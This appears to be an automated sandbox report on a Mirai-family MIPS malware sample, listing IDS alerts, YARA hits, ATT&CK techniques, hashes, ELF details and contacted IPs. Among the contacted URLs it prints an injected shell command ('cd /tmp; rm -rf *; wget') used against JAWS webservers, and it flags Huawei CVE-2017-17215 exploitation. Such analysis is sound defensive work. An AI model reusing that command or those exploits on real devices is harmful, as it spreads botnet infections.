Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: mips.elf, type: SAMPLE
Source: Yara match	File source: 6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mips.elf PID: 6224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mips.elf PID: 6228, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mips.elf	66%	ReversingLabs	Linux.Trojan.Mirai
mips.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	mips.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	mips.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
14.248.199.50	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
217.147.234.237	unknown	Georgia	20545	GRENA-ASTbilisiGeorgiaGE	false
35.204.63.166	unknown	United States	15169	GOOGLEUS	false
41.82.47.217	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
50.86.179.15	unknown	United States	11272	TELEPAK-NETWORKS-INCUS	false
58.204.14.69	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
41.113.157.242	unknown	South Africa	16637	MTNNS-ASZA	false
20.1.227.155	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
196.9.49.189	unknown	South Africa	3067	DENINF-IPLANZA	false
194.218.130.152	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
168.69.232.145	unknown	United States	4152	USDA-1US	false
163.163.23.62	unknown	Belgium	5609	ASN-CSELTAS-CSELTCONVERTEDTOASN-CSELTFORRPSLCOMPLIA	false
41.97.63.115	unknown	Algeria	36947	ALGTEL-ASDZ	false
93.5.46.107	unknown	France	15557	LDCOMNETFR	false
31.59.81.108	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
41.187.159.165	unknown	Egypt	20928	NOOR-ASEG	false
147.213.200.32	unknown	Slovakia (SLOVAK Republic)	2607	SANETSlovakAcademicNetworkSK	false
156.207.10.180	unknown	Egypt	8452	TE-ASTE-ASEG	false
32.179.230.51	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
197.179.229.58	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
64.34.150.61	unknown	Canada	13768	COGECO-PEER1CA	false
114.144.233.229	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
135.251.134.187	unknown	United States	10455	LUCENT-CIOUS	false
113.148.165.232	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
105.150.190.42	unknown	Morocco	6713	IAM-ASMA	false
197.221.180.246	unknown	South Africa	37356	O-TelZA	false
18.80.226.252	unknown	United States	3	MIT-GATEWAYSUS	false
197.249.181.89	unknown	Mozambique	25139	TVCABO-ASEU	false
97.27.184.118	unknown	United States	22394	CELLCOUS	false
197.243.99.97	unknown	Rwanda	37228	Olleh-Rwanda-NetworksRW	false
101.80.226.5	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
12.148.39.101	unknown	United States	7018	ATT-INTERNET4US	false
156.191.172.97	unknown	Egypt	36992	ETISALAT-MISREG	false
156.89.9.161	unknown	United States	2386	INS-ASUS	false
151.147.111.123	unknown	United States	6167	CELLCO-PARTUS	false
41.115.248.56	unknown	South Africa	16637	MTNNS-ASZA	false
13.36.254.80	unknown	United States	7018	ATT-INTERNET4US	false
156.254.70.155	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
180.7.246.102	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
96.93.219.47	unknown	United States	7922	COMCAST-7922US	false
41.142.174.165	unknown	Morocco	36903	MT-MPLSMA	false
41.25.211.114	unknown	South Africa	36994	Vodacom-VBZA	false
41.237.9.44	unknown	Egypt	8452	TE-ASTE-ASEG	false
58.48.99.196	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
222.2.118.118	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
44.208.243.244	unknown	United States	14618	AMAZON-AESUS	false
76.220.20.211	unknown	United States	7018	ATT-INTERNET4US	false
113.6.156.28	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
94.27.69.170	unknown	Ukraine	12530	GOLDENTELECOM-UKRAINEKyivstarPJSCUA	false
200.188.120.162	unknown	Mexico	11172	AlestraSdeRLdeCVMX	false
172.150.130.131	unknown	United States	7018	ATT-INTERNET4US	false
158.59.150.61	unknown	United States	46887	LIGHTOWERUS	false
41.240.121.99	unknown	Sudan	36998	SDN-MOBITELSD	false
72.50.73.160	unknown	Puerto Rico	10396	COQUI-NETPR	false
41.182.10.54	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
41.145.207.253	unknown	South Africa	5713	SAIX-NETZA	false
197.210.99.184	unknown	Nigeria	29465	VCG-ASNG	false
166.192.63.69	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
106.127.48.127	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
104.65.94.214	unknown	United States	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
182.24.76.185	unknown	Indonesia	4795	INDOSATM2-IDINDOSATM2ASNID	false
108.107.156.175	unknown	United States	10507	SPCSUS	false
220.53.144.203	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
68.217.157.205	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
221.197.247.81	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
145.193.20.6	unknown	Netherlands	1101	IP-EEND-ASIP-EENDBVNL	false
43.42.97.115	unknown	Japan	4249	LILLY-ASUS	false
199.4.90.223	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
124.223.219.21	unknown	China	45361	JCN-AS-KRUlsanJung-AngBroadcastingNetworkKR	false
36.70.155.71	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
197.53.167.56	unknown	Egypt	8452	TE-ASTE-ASEG	false
220.178.140.170	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.21.96.236	unknown	United States	29975	VODACOM-ZA	false
159.164.168.136	unknown	United States	34058	LIFECELL-ASUA	false
39.5.20.58	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
156.190.95.236	unknown	Egypt	36992	ETISALAT-MISREG	false
217.142.237.227	unknown	Sweden	16253	BORDERLIGHT-ASVretgrand18SE	false
1.188.9.212	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
169.165.109.91	unknown	United States	37611	AfrihostZA	false
65.49.39.162	unknown	United States	6939	HURRICANEUS	false
41.240.169.37	unknown	Sudan	36998	SDN-MOBITELSD	false
59.192.201.79	unknown	China	2516	KDDIKDDICORPORATIONJP	false
176.21.132.25	unknown	Denmark	3292	TDCTDCASDK	false
41.128.184.218	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.109.134.46	unknown	South Africa	37168	CELL-CZA	false
160.99.36.46	unknown	Serbia	13303	UNNI-ASRS	false
41.202.14.233	unknown	Ghana	36961	ZIPNETGH	false
41.24.221.224	unknown	South Africa	36994	Vodacom-VBZA	false
152.221.60.81	unknown	United States	30313	IRSUS	false
156.192.115.137	unknown	Egypt	8452	TE-ASTE-ASEG	false
199.226.103.120	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
169.45.216.25	unknown	United States	36351	SOFTLAYERUS	false
1.43.67.217	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
103.227.64.13	unknown	Australia	133556	DCSI-BUSINESS-BROADBANDDCSIBusinessBroadbandAU	false
61.131.244.62	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
18.125.19.157	unknown	United States	3	MIT-GATEWAYSUS	false
165.48.116.73	unknown	United States	37053	RSAWEB-ASZA	false
169.105.194.231	unknown	United States	37611	AfrihostZA	false
68.99.78.43	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
133.38.226.67	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.113.157.242	oFdYu6RyDI.elf	Get hash	malicious	Mirai, Moobot	Browse
	KOTIgUsHuj.elf	Get hash	malicious	Mirai, Moobot	Browse
	oZD74Ocxdt.elf	Get hash	malicious	Mirai	Browse
	ak.mips-20220924-0648.elf	Get hash	malicious	Mirai	Browse
	y5WwMBeTqh	Get hash	malicious	Mirai	Browse
	93dNXMPKdE	Get hash	malicious	Mirai	Browse
168.69.232.145	6R40kRoCkP	Get hash	malicious	Gafgyt, Mirai	Browse
41.97.63.115	bolonetwork.x86.elf	Get hash	malicious	Mirai, Okiru	Browse
	v2awjyMFRV.elf	Get hash	malicious	Mirai, Moobot	Browse
	tybCIRiXjP	Get hash	malicious	Mirai	Browse
41.82.47.217	1xpY2r5cdu.elf	Get hash	malicious	Mirai	Browse
	jklarm.elf	Get hash	malicious	Mirai	Browse
	IPanSZNhNe	Get hash	malicious	Mirai	Browse
	HpiDZVoX1J	Get hash	malicious	Mirai	Browse
	ebdNlZq4ZD	Get hash	malicious	Mirai	Browse
	NpPPUJfekF	Get hash	malicious	Mirai	Browse
31.59.81.108	jade.x86.elf	Get hash	malicious	Mirai	Browse
	zE2LRE6xob.elf	Get hash	malicious	Mirai	Browse
	Tsunami.x86	Get hash	malicious	Mirai	Browse
	MEOZqewRZk	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SONATEL-ASAutonomousSystemEU	arm.elf	Get hash	malicious	Mirai	Browse	41.82.47.216
	arm5.elf	Get hash	malicious	Mirai	Browse	41.82.166.160
	mips.elf	Get hash	malicious	Mirai	Browse	41.82.47.250
	arm.elf	Get hash	malicious	Mirai	Browse	41.82.47.237
	arm7.elf	Get hash	malicious	Mirai	Browse	41.82.166.175
	arm.elf	Get hash	malicious	Mirai	Browse	41.82.166.156
	mpsl.elf	Get hash	malicious	Mirai	Browse	41.82.166.147
	hmips.elf	Get hash	malicious	Mirai	Browse	41.82.166.191
	arm.elf	Get hash	malicious	Mirai	Browse	41.82.166.165
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	41.82.47.224
GRENA-ASTbilisiGeorgiaGE	Yy6UdBIY7T.elf	Get hash	malicious	Mirai	Browse	217.147.234.226
	18001787_down_payment_invoice_90002104.exe	Get hash	malicious	GuLoader, Remcos	Browse	217.147.225.69
	DHRI_kurumsal kimlik rehberi-2023.exe	Get hash	malicious	GuLoader, Remcos	Browse	217.147.225.69
	DHRI_kurumsal_kimlik_rehberi-2023.exe	Get hash	malicious	GuLoader, Remcos	Browse	217.147.225.69
	#U0412#U0421_#U0436#U0438#U0440_#U0442#U0435#U0445#U043d_26.10.2023.exe	Get hash	malicious	GuLoader, Remcos	Browse	217.147.225.69
	q5Mcd4t3WA.elf	Get hash	malicious	Mirai	Browse	217.147.234.228
	Dd2pY6BQH8.elf	Get hash	malicious	Mirai	Browse	217.147.234.230
	AelWXKBPbQ.elf	Get hash	malicious	Mirai	Browse	217.147.234.223
	DsYilbWfVw.elf	Get hash	malicious	Mirai	Browse	217.147.234.255
	https://loialte.com.ge/zxoliktrd/uyretred/gredtred/gredtorik/trebooiu/erperwq/azxlkgrednti/xzkcreiei/?foi=oph.empfang@diehl.com	Get hash	malicious	Unknown	Browse	217.147.239.122
VNPT-AS-VNVNPTCorpVN	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	14.237.26.254
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	202.92.5.23
	File.exe	Get hash	malicious	Orcus, Xmrig	Browse	203.161.45.11
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	202.92.5.23
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	113.181.189.124
	sora.mips.elf	Get hash	malicious	Mirai	Browse	14.181.166.100
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	14.248.199.27
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	123.25.106.112
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	14.185.133.135

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.578465225385906
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mips.elf
File size:	89'504 bytes
MD5:	ef8daf11e4d7f6e5ceb5231e5333b9a7
SHA1:	3cb74d506ffaca5a3d2b865a41ba8c4a1943ebda
SHA256:	3010da171a6907ee997460ba49c59b50285b1a9e7acca93759d51f81bf6ff01f
SHA512:	6091a8a7f6c6f457cf0328e0d3a160eb2f867f6674598bc3afe682928f1e82e81bb307e771331feb808c465bd349690cd013e4ae8a0a8246b81354665c60cf6b
SSDEEP:	1536:sC5FAh5hytl3jWNU8mr6RdmZozXKzVuMFhFSwACVElNNEEH4uIj:xrAh2tl3jQU8mrImZozXGdACVElN6EYD
TLSH:	E193840D3E318F6DFBAC863947F38E219658339A26E1C585D19CFA411EB024E741FBA5
File Content Preview:	.ELF.....................@.`...4..[p.....4. ...(.............@...@....T...T...............T..ET..ET....(............dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'..X...!........'9>

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	88944
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x13e10	0x0	0x6	AX	16
.fini	PROGBITS	0x413f30	0x13f30	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x413f90	0x13f90	0x1550	0x0	0x2	A	16
.ctors	PROGBITS	0x4554e4	0x154e4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x4554ec	0x154ec	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4554f8	0x154f8	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x455500	0x15500	0x250	0x0	0x3	WA	16
.got	PROGBITS	0x455750	0x15750	0x3bc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x455b0c	0x15b0c	0x24	0x0	0x10000003	WAp	4
.bss	NOBITS	0x455b30	0x15b0c	0x488	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x6d2	0x15b0c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x15b0c	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x154e0	0x154e0	5.5937	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x154e4	0x4554e4	0x4554e4	0x628	0xad4	3.9936	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T21:30:50.033418+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47310	183.236.75.193	80	TCP
2024-12-03T21:30:50.033418+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47310	183.236.75.193	80	TCP
2024-12-03T21:30:51.501842+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48276	149.30.241.216	80	TCP
2024-12-03T21:30:51.501842+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48276	149.30.241.216	80	TCP
2024-12-03T21:30:51.758140+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50372	197.9.55.89	37215	TCP
2024-12-03T21:30:52.650810+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58476	217.117.141.188	80	TCP
2024-12-03T21:30:52.650810+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58476	217.117.141.188	80	TCP
2024-12-03T21:30:55.258160+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35490	90.84.11.230	80	TCP
2024-12-03T21:30:55.258160+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35490	90.84.11.230	80	TCP
2024-12-03T21:30:56.858413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49972	197.4.155.165	37215	TCP
2024-12-03T21:30:58.490996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42068	156.240.21.115	37215	TCP
2024-12-03T21:30:59.531762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47406	197.232.113.175	37215	TCP
2024-12-03T21:31:01.599384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39202	197.97.142.64	37215	TCP
2024-12-03T21:31:02.259140+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44292	197.129.248.15	37215	TCP
